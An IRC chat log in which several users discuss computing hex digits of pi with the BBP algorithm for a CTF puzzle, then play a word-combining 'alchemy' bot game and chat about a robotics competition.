[2015-01-04T00:58:52-0500] <@awe> I don't know what that means.
[2015-01-04T00:59:00-0500] <ubuntor> ok
[2015-01-04T00:59:01-0500] <ubuntor> so
[2015-01-04T00:59:04-0500] <@awe> I don't know what exploiting some part of an infinite sum is supposed to mean.
[2015-01-04T00:59:42-0500] <ubuntor> if you want hex digits 8-11 (i think)
[2015-01-04T01:00:34-0500] <ubuntor> you multiply by 16**2
[2015-01-04T01:01:14-0500] <ubuntor> you can then split the series up
[2015-01-04T01:01:27-0500] <ubuntor> first series with nonnegative powers of 16
[2015-01-04T01:01:36-0500] <ubuntor> second series with negative powers of 16
[2015-01-04T01:02:01-0500] <ubuntor> you want the fractional part so you can get the next 4 digits after the decimal point
[2015-01-04T01:02:46-0500] <ubuntor> for the first series, instead of calculating (16**k)/(whatever)
[2015-01-04T01:03:01-0500] <ubuntor> you can calculate (16**k mod whatever)/(whatever)
[2015-01-04T01:03:08-0500] <ubuntor> since you just need the fractional part
[2015-01-04T01:03:46-0500] <ubuntor> you can do that efficiently, because taking numbers mod small numbers is efficient
[2015-01-04T01:03:53-0500] <ubuntor> so there's the first series
[2015-01-04T01:04:10-0500] <ubuntor> the terms of the second series shrink very quickly
[2015-01-04T01:04:16-0500] <ubuntor> so you don't need much of them
[2015-01-04T01:04:35-0500] <ubuntor> add the two together, and enjoy your digits
[2015-01-04T01:05:44-0500] <ubuntor> that's the big formula of the fractional part you see in http://en.literateprograms.org/Pi_with_the_BBP_formula_%28Python%29
[2015-01-04T01:07:15-0500] <ubuntor> you actually need to compute 4 such sums, because of the 4 terms in the original formula
[2015-01-04T01:07:23-0500] <@awe> I uhh...
[2015-01-04T01:07:29-0500] <ubuntor> that should be it tho
[2015-01-04T01:07:59-0500] <ubuntor> hmm, that's the most messages i've ever said at a time in pdgn
[2015-01-04T01:08:30-0500] <@awe> So, there's no way I can use something like that last sum?
[2015-01-04T01:08:36-0500] <@awe> the one under sequential generation?
[2015-01-04T01:08:46-0500] <ubuntor> probably not
[2015-01-04T01:09:35-0500] <ubuntor> of course, there are other algorithms that let you stream digits, like the one in the haskell paper
[2015-01-04T01:10:16-0500] <@awe> requires laziness though.
[2015-01-04T01:10:39-0500] <@awe> and I don't see a way to arbitrarily start at a number.
[2015-01-04T01:10:55-0500] <ubuntor> then i guess this will have to do
[2015-01-04T01:13:10-0500] <ubuntor> whoops, it only generate one hex digit at a time (or 4 binary digits)
[2015-01-04T01:13:19-0500] <ubuntor> everything else is correct tho
[2015-01-04T01:14:57-0500] <@awe> ubuntor: so, wait
[2015-01-04T01:15:05-0500] <@awe> ubuntor: does his pi(n) function yield the nth digit of pi?
[2015-01-04T01:15:12-0500] <@awe> well, nth hex digit of pi?
[2015-01-04T01:15:16-0500] <ubuntor> which page?
[2015-01-04T01:15:26-0500] <@awe> end of basic implementation
[2015-01-04T01:15:26-0500] <@awe> http://en.literateprograms.org/Pi_with_the_BBP_formula_%28Python%29
[2015-01-04T01:16:29-0500] <ubuntor> it generates 14 digits starting from the nth place
[2015-01-04T01:16:43-0500] <@awe> okay
[2015-01-04T01:16:48-0500] <ubuntor> the first digit is accurate, but the other ones may not be
[2015-01-04T01:17:01-0500] <@awe> Ah, so, I don't want to do that then.
[2015-01-04T01:17:07-0500] <ubuntor> yeah
[2015-01-04T01:17:12-0500] <@awe> can I accurately get two digits?
[2015-01-04T01:17:15-0500] <@awe> that'd be perfect.
[2015-01-04T01:17:36-0500] <bob_twinkles> sure, just run it twice =P
[2015-01-04T01:17:45-0500] <@awe> Well, other than doing that.
[2015-01-04T01:17:45-0500] <ubuntor> as long as you don't use huge numbers, it might be accurate enough?
[2015-01-04T01:17:56-0500] <@awe> Eh, I want it to work for huge numbers.
[2015-01-04T01:18:03-0500] <@awe> will just run it twice.
[2015-01-04T01:18:30-0500] <ubuntor> or just compute more terms until it doesn't change
[2015-01-04T01:19:04-0500] <ubuntor> once you get it working, try testing it?
[2015-01-04T01:19:35-0500] <ubuntor> oh, there's also the integer arithmetic section
[2015-01-04T01:20:50-0500] <ubuntor> http://stackoverflow.com/questions/2894866/required-working-precision-for-the-bbp-algorithm
[2015-01-04T01:21:23-0500] <@awe> Okay, so, I'll use the integer arithmetic one with required precision of 2?
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[2015-01-04T01:22:56-0500] <ubuntor> should work
[2015-01-04T01:24:50-0500] <@awe> Figuring out the types from this is a bit painful
[2015-01-04T01:25:23-0500] <@awe> Will just i64 everywhere until I figure out the bounds on these things.
[2015-01-04T01:28:21-0500] <@awe> / is integer division?
[2015-01-04T01:28:23-0500] <@awe>  //*
[2015-01-04T01:28:29-0500] <ubuntor> in python3, yeah
[2015-01-04T01:29:12-0500] <@awe> There's probably a more Rust-y way I can implement this.
[2015-01-04T01:30:06-0500] <+Tamini> are you resorting to python3?
[2015-01-04T01:30:20-0500] <@awe> No, I'm doing it in Rust.
[2015-01-04T01:30:24-0500] <@awe> I'm just basing it off of Python.
[2015-01-04T01:30:36-0500] <@awe> ubuntor: k = n + 1
[2015-01-04T01:30:40-0500] <@awe> ubuntor: that's in the right sum
[2015-01-04T01:30:44-0500] <@awe> ubuntor: totally useless, I'm pretty sure
[2015-01-04T01:30:53-0500] <@awe> ubuntor: the previous loop should exit with k = n + 1 anyway.
[2015-01-04T01:31:15-0500] <ubuntor> yeah
[2015-01-04T01:31:50-0500] <ubuntor> hm, http://stackoverflow.com/questions/2894866/required-working-precision-for-the-bbp-algorithm worries me
[2015-01-04T01:35:11-0500] <@awe> "The wikipedia article gives a formula for calculating the n'th digit that doesn't require iteration, just exponentiation and rational numbers."
[2015-01-04T01:35:16-0500] <@awe> What wikipedia article, friend?
[2015-01-04T01:35:48-0500] <@awe> Does he mean the wiki page we're looking at?
[2015-01-04T01:35:53-0500] <@awe> on literate programs?
[2015-01-04T01:36:28-0500] <@awe> Yeah, I guess so.
[2015-01-04T01:37:07-0500] <@awe> Pretty sure it would be horrible to use the sequential generation one but throw out the first 1,000,000 lol
[2015-01-04T01:41:25-0500] <@awe> https://github.com/philipl/pifs/blob/master/src/piqpr8.c
[2015-01-04T01:41:30-0500] <@awe> pifs uses for loops
[2015-01-04T01:41:38-0500] <@awe> uhh...
[2015-01-04T01:41:49-0500] <@awe> this appears to be the program that the first B in BBP wrote.
[2015-01-04T01:42:33-0500] <ubuntor> hmm
[2015-01-04T01:43:06-0500] <@awe> I love how the most difficult part here is finding out how to calculate pi.
[2015-01-04T01:43:16-0500] <ubuntor> this is hilarious
[2015-01-04T01:43:42-0500] <+Tamini> and all inspired my mitrectf
[2015-01-04T01:43:44-0500] <+Tamini> by*
[2015-01-04T01:43:48-0500] <@awe> ???
[2015-01-04T01:43:57-0500] <+Tamini> hey, bob_twinkles, did you know? we were on the same mitre team :P
[2015-01-04T01:44:02-0500] <@awe> how is this inspired by mitrectf?
[2015-01-04T01:44:04-0500] <+Tamini> awe: we were talking about a mitrectf problem 
[2015-01-04T01:44:04-0500] <ubuntor> ???
[2015-01-04T01:44:06-0500] <bob_twinkles> wait wat
[2015-01-04T01:44:07-0500] <+hardmath123> did you guys figure it out?
[2015-01-04T01:44:09-0500] <bob_twinkles> TIL
[2015-01-04T01:44:12-0500] <+Tamini> that otp'd with pi remember
[2015-01-04T01:44:13-0500] <@awe> no, we were talking about an HSCTF problem.
[2015-01-04T01:44:19-0500] <@awe> perfekta kodo
[2015-01-04T01:44:21-0500] <+Tamini> hsctf -> mitrectf -> lets write stuff
[2015-01-04T01:44:24-0500] <@awe> well
[2015-01-04T01:44:25-0500] <+Tamini> well
[2015-01-04T01:44:28-0500] <+Tamini> okay fine
[2015-01-04T01:44:30-0500] <@awe> all I saw was the word pi
[2015-01-04T01:44:32-0500] <+Tamini> bob_twinkles: wait seriously
[2015-01-04T01:44:33-0500] <@awe> after perfekta kod
[2015-01-04T01:44:34-0500] <@awe> kodo
[2015-01-04T01:44:36-0500] <@awe> and that got me thinking.
[2015-01-04T01:44:37-0500] <@awe> hardmath123: no
[2015-01-04T01:44:42-0500] <+Tamini> dude we talked
[2015-01-04T01:44:47-0500] <+Tamini> you made spinach salad
[2015-01-04T01:44:54-0500] <bob_twinkles> Tamini: no, though I don't think I knew your name
[2015-01-04T01:44:55-0500] <+Tamini> kramer got mad at me because my mom wouldnt let me stay the night
[2015-01-04T01:45:03-0500] <+Tamini> this rings no bells? :P
[2015-01-04T01:45:04-0500] <bob_twinkles> oh yeah
[2015-01-04T01:45:06-0500] <+hardmath123> awe: to get 2 digits, just run the 1 digit algorithm twice, right?
[2015-01-04T01:45:08-0500] <bob_twinkles> that was like
[2015-01-04T01:45:12-0500] <bob_twinkles> more than 24h ago
[2015-01-04T01:45:17-0500] <@awe> hardmath123: the issue is that algorithm won't be accurate
[2015-01-04T01:45:18-0500] <+Tamini> wow 
[2015-01-04T01:45:18-0500] <bob_twinkles> how am I supposed to remember back that far
[2015-01-04T01:45:23-0500] <+Tamini> do you even know my name right now
[2015-01-04T01:45:28-0500] <bob_twinkles> yes
[2015-01-04T01:45:36-0500] <+Tamini> much impressed wow
[2015-01-04T01:45:38-0500] <ubuntor> hardmath123: it's all about precision and rounding errors
[2015-01-04T01:46:26-0500] <+hardmath123> Tamini: I don't actually know your name right now.
[2015-01-04T01:46:28-0500] <ubuntor> c implementation looks perfect for translation
[2015-01-04T01:46:51-0500] <+hardmath123> ubuntor: are there other irrational numbers that are easier to compute digits of?
[2015-01-04T01:47:03-0500] <+hardmath123> apparently ln 2 is easy
[2015-01-04T01:47:30-0500] <+Tamini> hardmath123: you implemented it in alchemy.... >.>
[2015-01-04T01:47:42-0500] <+hardmath123> hmm
[2015-01-04T01:47:49-0500] <+hardmath123> @combine pdgn genius
[2015-01-04T01:47:49-0500] <alchemy> You already combined pdgn and genius to get ashley.
[2015-01-04T01:47:52-0500] <+hardmath123> ah, ashley
[2015-01-04T01:47:52-0500] <ubuntor> look up bbp-type formulas?
[2015-01-04T01:47:53-0500] <+hardmath123> right
[2015-01-04T01:47:55-0500] <+Tamini> hardmath123: e?
[2015-01-04T01:47:59-0500] <@awe> This means, at the least, that d must be limited to those values such that (8d + 6)2 is exactly representable in the integer or floating-point data format being used.
[2015-01-04T01:48:01-0500] <@awe> http://crd-legacy.lbl.gov/~dhbailey/dhbpapers/bbp-alg.pdf
[2015-01-04T01:48:23-0500] <@awe> the 2 is actually ^2
[2015-01-04T01:48:25-0500] <+hardmath123> awe: "The precision of calculations and intermediate results and the number of terms taken from the "tail" sum are all independent of n, and only depend on the number of binary digits that are being calculated – single precision arithmetic can be used to calculate around 12 binary digits, regardless of the starting position."
[2015-01-04T01:48:42-0500] <@awe> where is this comment from?
[2015-01-04T01:48:44-0500] <+hardmath123> awe: source = http://en.wikipedia.org/wiki/Spigot_algorithm
[2015-01-04T01:49:12-0500] <@awe> Is this talking about ln 2 though?
[2015-01-04T01:49:21-0500] <+hardmath123> yes
[2015-01-04T01:49:22-0500] <@awe> it's less cool if I do it in ln 2.
[2015-01-04T01:49:24-0500] <+hardmath123> but the concept is the same
[2015-01-04T01:49:33-0500] <@awe> does it apply to the pi one?
[2015-01-04T01:49:42-0500] <+hardmath123> the formulae are pretty close
[2015-01-04T01:49:51-0500] <+hardmath123> this one explains how to do it
[2015-01-04T01:49:58-0500] <ubuntor> just implement it and see how many digits are accurate?
[2015-01-04T01:50:08-0500] <+hardmath123> so you just use this algorithm, but swap out the polynomials for the ones for pi
[2015-01-04T01:51:36-0500] <+hardmath123> also this guy did it in c
[2015-01-04T01:51:37-0500] <@awe> Yeah, I'll try tomorrow.
[2015-01-04T01:51:38-0500] <@awe> I'm sleepy.
[2015-01-04T01:51:41-0500] <@awe> hardmath123: I know.
[2015-01-04T01:51:41-0500] <+hardmath123> 100 millionth digit
[2015-01-04T01:51:46-0500] <+hardmath123> took 20min
[2015-01-04T01:51:51-0500] <@awe> hardmath123: I linked his C implementation.
[2015-01-04T01:52:00-0500] <@awe> hardmath123: yeah, I'm scared about runtime.
[2015-01-04T01:52:52-0500] <+hardmath123> y'know, for a one-time pad, Reddit archives have a faster lookup time :P
[2015-01-04T01:53:01-0500] <@awe> lol
[2015-01-04T01:53:25-0500] <@awe> I wonder how that'd work.
[2015-01-04T01:53:58-0500] <+hardmath123> comments pages are id'd
[2015-01-04T01:54:04-0500] <+hardmath123> and there's an API
[2015-01-04T01:54:27-0500] <+hardmath123> sha512(commentNumber(DHsecret))
[2015-01-04T01:59:06-0500] <+hardmath123> anyhow i need to go fix my sleep cycle for school next week
[2015-01-04T01:59:09-0500] <+hardmath123> so long
[2015-01-04T02:20:05-0500] <nezorg> how the fuck do you guys talk so much
[2015-01-04T02:21:04-0500] <nezorg> anyway
[2015-01-04T02:21:10-0500] <nezorg> @possible god
[2015-01-04T02:21:11-0500] <alchemy> Yeah, you can make god.
[2015-01-04T02:21:19-0500] <nezorg> @list
[2015-01-04T02:21:19-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-04T02:21:19-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-04T02:21:19-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-04T02:21:19-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-04T02:21:19-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-04T02:21:19-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T02:21:19-0500] <alchemy> That's 116 out of 162!
[2015-01-04T02:22:08-0500] <nezorg> @hint
[2015-01-04T02:22:09-0500] <alchemy> Resetting hint counter.
[2015-01-04T02:22:09-0500] <alchemy> Hint: It's possible to make meatball with cloud!
[2015-01-04T02:22:09-0500] <alchemy> You have 3 hints left this hour.
[2015-01-04T02:22:16-0500] <+Tamini> lol nezorg
[2015-01-04T02:22:26-0500] <+Tamini> do you have an issue with our talkativeness? :P
[2015-01-04T02:22:28-0500] <+Tamini> @combine food cloud
[2015-01-04T02:22:29-0500] <alchemy> food and cloud don't make anything exciting.
[2015-01-04T02:22:31-0500] <nezorg> yes
[2015-01-04T02:22:35-0500] <+Tamini> @combine rain cloud
[2015-01-04T02:22:36-0500] <alchemy> rain and cloud don't make anything exciting.
[2015-01-04T02:22:44-0500] <+Tamini> cloudy with a chance of meatballs :(
[2015-01-04T02:22:45-0500] <+Tamini> and how come
[2015-01-04T02:23:11-0500] <bob_twinkles> @combine cloud cloud
[2015-01-04T02:23:12-0500] <alchemy> You already combined cloud and cloud to get thunder.
[2015-01-04T02:23:14-0500] <nezorg> it makes me feel bad at being social :C
[2015-01-04T02:23:15-0500] <nezorg> jk
[2015-01-04T02:23:17-0500] <nezorg> mostly
[2015-01-04T02:23:22-0500] <bob_twinkles> @combine cloud rain
[2015-01-04T02:23:22-0500] <alchemy> cloud and rain don't make anything exciting.
[2015-01-04T02:23:26-0500] <bob_twinkles> myeh
[2015-01-04T02:23:54-0500] <nezorg> @hint
[2015-01-04T02:23:55-0500] <alchemy> Hint: It's possible to make webdev with hacker!
[2015-01-04T02:23:55-0500] <alchemy> You have 2 hints left this hour.
[2015-01-04T02:24:15-0500] <bob_twinkles> @combine hacker internet
[2015-01-04T02:24:16-0500] <alchemy> hacker and internet don't make anything exciting.
[2015-01-04T02:24:19-0500] <bob_twinkles> -_-
[2015-01-04T02:24:36-0500] <nezorg> @combine hacker sysadmin
[2015-01-04T02:24:37-0500] <alchemy> hacker and sysadmin don't make anything exciting.
[2015-01-04T02:24:58-0500] <+Tamini> @hint
[2015-01-04T02:24:58-0500] <alchemy> Hint: It's possible to make steam with water!
[2015-01-04T02:24:58-0500] <alchemy> You have 1 hints left this hour.
[2015-01-04T02:25:01-0500] <+Tamini> @hint
[2015-01-04T02:25:01-0500] <alchemy> Hint: It's possible to make cigar with fire!
[2015-01-04T02:25:01-0500] <alchemy> You have 0 hints left this hour.
[2015-01-04T02:25:08-0500] <+Tamini> @combine plant fire
[2015-01-04T02:25:08-0500] <alchemy> plant and fire don't make anything exciting.
[2015-01-04T02:25:16-0500] <+Tamini> @combine paper fire
[2015-01-04T02:25:16-0500] <alchemy> paper and fire don't make anything exciting.
[2015-01-04T02:25:21-0500] <+Tamini> @combine crops fire
[2015-01-04T02:25:21-0500] <alchemy> crops and fire don't make anything exciting.
[2015-01-04T02:25:24-0500] <+Tamini> @combine tree fire
[2015-01-04T02:25:24-0500] <alchemy> tree and fire don't make anything exciting.
[2015-01-04T02:25:28-0500] <+Tamini> @possible grass
[2015-01-04T02:25:28-0500] <alchemy> No, you can't make grass.
[2015-01-04T02:25:35-0500] <+Tamini> how do you make a cigar without grass :(
[2015-01-04T02:25:41-0500] <nezorg> @possible tobacco
[2015-01-04T02:25:41-0500] <alchemy> No, you can't make tobacco.
[2015-01-04T02:25:47-0500] <+Tamini> @possible weed
[2015-01-04T02:25:48-0500] <alchemy> No, you can't make weed.
[2015-01-04T02:25:48-0500] <nezorg> @possible drug
[2015-01-04T02:25:49-0500] <alchemy> No, you can't make drug.
[2015-01-04T02:25:51-0500] <nezorg> @possible drugs
[2015-01-04T02:25:52-0500] <alchemy> No, you can't make drugs.
[2015-01-04T02:25:53-0500] <+Tamini> lol
[2015-01-04T02:25:56-0500] <+Tamini> what are we doing man
[2015-01-04T02:26:07-0500] <nezorg> seeing if we can make drugs
[2015-01-04T02:26:37-0500] <nezorg> @combine ent fire
[2015-01-04T02:26:38-0500] <alchemy> ent and fire don't make anything exciting.
[2015-01-04T02:27:06-0500] <nezorg> @combine hacker cloud
[2015-01-04T02:27:06-0500] <alchemy> hacker and cloud don't make anything exciting.
[2015-01-04T02:27:23-0500] <nezorg> @combine hacker linux
[2015-01-04T02:27:25-0500] <alchemy> You already combined hacker and linux to get torvalds.
[2015-01-04T02:27:28-0500] Tamini_ (uid33458@pdgn-vvu.9lf.7cuf9e.IP) joined the channel
[2015-01-04T02:27:29-0500] <nezorg> ah
[2015-01-04T02:27:38-0500] <nezorg> @possible browser
[2015-01-04T02:27:39-0500] <alchemy> No, you can't make browser.
[2015-01-04T02:27:41-0500] <Tamini_> lets make god
[2015-01-04T02:27:50-0500] <Tamini_> it should be possible with what we have now
[2015-01-04T02:27:59-0500] <Tamini_> @list
[2015-01-04T02:28:00-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-04T02:28:00-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, house, ice, internet, jacob, joy
[2015-01-04T02:28:00-0500] <alchemy> You have: kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant, neanderthal
[2015-01-04T02:28:00-0500] <alchemy> You have: nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow, restaurant
[2015-01-04T02:28:00-0500] <alchemy> You have: robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder, time
[2015-01-04T02:28:00-0500] <alchemy> You have: tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T02:28:00-0500] <alchemy> That's 116 out of 162!
[2015-01-04T02:28:10-0500] <Tamini_> @combine gmo fire
[2015-01-04T02:28:11-0500] <alchemy> gmo and fire don't make anything exciting.
[2015-01-04T02:28:23-0500] <nezorg> @combine air sentience
[2015-01-04T02:28:23-0500] <alchemy> You already combined air and sentience to get pidgeon.
[2015-01-04T02:28:26-0500] <nezorg> lol
[2015-01-04T02:28:35-0500] <Tamini_> @combine air genius
[2015-01-04T02:28:35-0500] <alchemy> air and genius don't make anything exciting.
[2015-01-04T02:28:42-0500] <Tamini_> @combine energy sentience
[2015-01-04T02:28:42-0500] <alchemy> energy and sentience don't make anything exciting.
[2015-01-04T02:28:48-0500] <nezorg> I'm guessing god is something + sentience
[2015-01-04T02:28:51-0500] <Tamini_> @combine sentience sentience
[2015-01-04T02:28:51-0500] <alchemy> sentience and sentience don't make anything exciting.
[2015-01-04T02:28:53-0500] <Tamini_> probably
[2015-01-04T02:29:10-0500] <nezorg> @combine earth sentience
[2015-01-04T02:29:11-0500] <alchemy> You already combined earth and sentience to get man.
[2015-01-04T02:29:19-0500] <Tamini_> @combine man sentience
[2015-01-04T02:29:20-0500] <alchemy> You already combined man and sentience to get evil.
[2015-01-04T02:29:28-0500] <Tamini_> @combine energy evil
[2015-01-04T02:29:29-0500] <alchemy> energy and evil don't make anything exciting.
[2015-01-04T02:29:35-0500] <Tamini_> @possible satan
[2015-01-04T02:29:36-0500] <alchemy> No, you can't make satan.
[2015-01-04T02:29:54-0500] <nezorg> @combine cloud computer
[2015-01-04T02:29:55-0500] <alchemy> cloud and computer don't make anything exciting.
[2015-01-04T02:30:02-0500] <ubuntor> @combine thunder tool
[2015-01-04T02:30:02-0500] <alchemy> thunder and tool don't make anything exciting.
[2015-01-04T02:30:19-0500] <ubuntor> @possible lightning
[2015-01-04T02:30:19-0500] <alchemy> Yeah, you can make lightning.
[2015-01-04T02:30:26-0500] <nezorg> @combine hacker ninja
[2015-01-04T02:30:26-0500] <alchemy> hacker and ninja don't make anything exciting.
[2015-01-04T02:30:29-0500] <ubuntor> @combine lightning tool
[2015-01-04T02:30:30-0500] <alchemy> lightning and tool don't make anything exciting.
[2015-01-04T02:31:24-0500] <Tamini_> Oh oj
[2015-01-04T02:31:28-0500] <Tamini_> oh oh*
[2015-01-04T02:31:31-0500] <nezorg> @combine friendship sentience
[2015-01-04T02:31:31-0500] <alchemy> friendship and sentience don't make anything exciting.
[2015-01-04T02:31:33-0500] <Tamini_> we can make mjolnir
[2015-01-04T02:31:42-0500] <Tamini_> its probably godtool
[2015-01-04T02:32:24-0500] <ubuntor> @combine sentience energy
[2015-01-04T02:32:25-0500] <alchemy> sentience and energy don't make anything exciting.
[2015-01-04T02:32:30-0500] <ubuntor> @combine sentience google
[2015-01-04T02:32:30-0500] <alchemy> sentience and google don't make anything exciting.
[2015-01-04T02:32:33-0500] <nezorg> @combine love sentience
[2015-01-04T02:32:34-0500] <alchemy> love and sentience don't make anything exciting.
[2015-01-04T02:32:54-0500] <ubuntor> @combine sentience time
[2015-01-04T02:32:55-0500] <alchemy> sentience and time don't make anything exciting.
[2015-01-04T02:33:17-0500] <nezorg> @combine cloud sentience
[2015-01-04T02:33:18-0500] <alchemy> cloud and sentience don't make anything exciting.
[2015-01-04T02:33:28-0500] <nezorg> awwww that should be skynet
[2015-01-04T02:33:41-0500] <ubuntor> @combine sentience mountain
[2015-01-04T02:33:42-0500] <alchemy> sentience and mountain don't make anything exciting.
[2015-01-04T02:34:34-0500] <Tamini_> @combine time space
[2015-01-04T02:34:35-0500] <alchemy> You don't have space!
[2015-01-04T02:34:38-0500] <Tamini_> :(
[2015-01-04T02:34:48-0500] <ubuntor> @combine hofstader hofstader
[2015-01-04T02:34:48-0500] <alchemy> hofstader and hofstader don't make anything exciting.
[2015-01-04T02:34:52-0500] <Tamini_> @combine sentience thunder
[2015-01-04T02:34:53-0500] <alchemy> sentience and thunder don't make anything exciting.
[2015-01-04T02:34:59-0500] <ubuntor> @combine sentience air
[2015-01-04T02:35:00-0500] <alchemy> You already combined sentience and air to get pidgeon.
[2015-01-04T02:35:02-0500] <Tamini_> @combine bach paper
[2015-01-04T02:35:03-0500] <alchemy> bach and paper don't make anything exciting.
[2015-01-04T02:35:07-0500] <Tamini_> hm
[2015-01-04T02:35:12-0500] <Tamini_> @combine bach math
[2015-01-04T02:35:13-0500] <alchemy> bach and math don't make anything exciting.
[2015-01-04T02:35:14-0500] <ubuntor> @combine sentience joy
[2015-01-04T02:35:15-0500] <alchemy> sentience and joy don't make anything exciting.
[2015-01-04T02:35:18-0500] <Tamini_> @combine bach genius
[2015-01-04T02:35:19-0500] <alchemy> bach and genius don't make anything exciting.
[2015-01-04T02:35:27-0500] <ubuntor> @combine sentience sculpture
[2015-01-04T02:35:27-0500] <alchemy> You already combined sentience and sculpture to get robot.
[2015-01-04T02:35:37-0500] <Tamini_> crap, i dont remember this
[2015-01-04T02:35:39-0500] <ubuntor> @combine sentience tomorrow
[2015-01-04T02:35:39-0500] <alchemy> You just discovered hope (sentience + tomorrow)!
[2015-01-04T02:35:43-0500] <ubuntor> ooh
[2015-01-04T02:35:49-0500] <ubuntor> @combine hope hope
[2015-01-04T02:35:49-0500] <alchemy> hope and hope don't make anything exciting.
[2015-01-04T02:35:51-0500] <Tamini_> @combine bach computer
[2015-01-04T02:35:51-0500] <alchemy> bach and computer don't make anything exciting.
[2015-01-04T02:35:53-0500] <ubuntor> @combine hope love
[2015-01-04T02:35:53-0500] <alchemy> hope and love don't make anything exciting.
[2015-01-04T02:35:57-0500] <Tamini_> @list
[2015-01-04T02:35:57-0500] <ubuntor> @combine hope time
[2015-01-04T02:35:58-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, earth, einstein, electricity, energy, engine
[2015-01-04T02:35:58-0500] <alchemy> You have: ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, hope, house, ice, internet, jacob
[2015-01-04T02:35:58-0500] <alchemy> You have: joy, kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music, mutant
[2015-01-04T02:35:58-0500] <alchemy> You have: neanderthal, nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain, rainbow
[2015-01-04T02:35:58-0500] <alchemy> You have: restaurant, robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin, thunder
[2015-01-04T02:35:58-0500] <alchemy> You have: time, tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T02:35:58-0500] <alchemy> That's 117 out of 162!
[2015-01-04T02:35:59-0500] <alchemy> hope and time don't make anything exciting.
[2015-01-04T02:36:15-0500] <ubuntor> @combine hope joy
[2015-01-04T02:36:15-0500] <alchemy> hope and joy don't make anything exciting.
[2015-01-04T02:36:19-0500] <nezorg> @tell jwoglom cloud + sentience = skynet, make it so
[2015-01-04T02:36:19-0500] <mailbot> nezorg: I'll let them know!
[2015-01-04T02:36:25-0500] <ubuntor> @combine hope tomorrow
[2015-01-04T02:36:25-0500] <Tamini_> uhh
[2015-01-04T02:36:26-0500] <alchemy> hope and tomorrow don't make anything exciting.
[2015-01-04T02:36:29-0500] <Tamini_> not jwoglom dude
[2015-01-04T02:36:32-0500] <Tamini_> hardmath123:
[2015-01-04T02:36:35-0500] <nezorg> oops
[2015-01-04T02:36:38-0500] <Tamini_> :P
[2015-01-04T02:36:40-0500] <Tamini_> you tried
[2015-01-04T02:36:53-0500] <ubuntor> @combine sentience tool
[2015-01-04T02:36:54-0500] <alchemy> sentience and tool don't make anything exciting.
[2015-01-04T02:37:07-0500] <ubuntor> @combine hope rock
[2015-01-04T02:37:07-0500] <alchemy> hope and rock don't make anything exciting.
[2015-01-04T02:37:25-0500] <ubuntor> @combine music sandstorm
[2015-01-04T02:37:26-0500] <alchemy> You just discovered darude (music + sandstorm)!
[2015-01-04T02:37:48-0500] <nezorg> @tell jwoglom tell hardmath123 that
[2015-01-04T02:37:48-0500] <mailbot> nezorg: I'll let them know!
[2015-01-04T02:37:55-0500] <ubuntor> dananana
[2015-01-04T02:38:04-0500] <nezorg> ubuntor: :D :D :D
[2015-01-04T02:39:13-0500] <nezorg> alright
[2015-01-04T02:39:15-0500] <Tamini_> LOL
[2015-01-04T02:39:20-0500] <nezorg> oh
[2015-01-04T02:39:21-0500] <Tamini_> nezorg: 10/10
[2015-01-04T02:39:33-0500] <nezorg> did you guys see the recycling game?
[2015-01-04T02:39:59-0500] <ubuntor> hm?
[2015-01-04T02:40:09-0500] <nezorg> the frc game
[2015-01-04T02:40:13-0500] <nezorg> it's weird
[2015-01-04T02:40:29-0500] <nezorg> because there's pretty much no competition within a game
[2015-01-04T02:41:01-0500] <Tamini_> what is it?
[2015-01-04T02:41:26-0500] <nezorg> basically stack some bins and barrels
[2015-01-04T02:41:35-0500] <ubuntor> huh, that's neat, if a bit odd
[2015-01-04T02:43:47-0500] <Tamini_> hmm
[2015-01-04T02:43:51-0500] <Tamini_> weird
[2015-01-04T02:44:01-0500] <Tamini_> @list
[2015-01-04T02:44:02-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, darude, earth, einstein, electricity, energy
[2015-01-04T02:44:02-0500] <alchemy> You have: engine, ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, hope, house, ice, internet
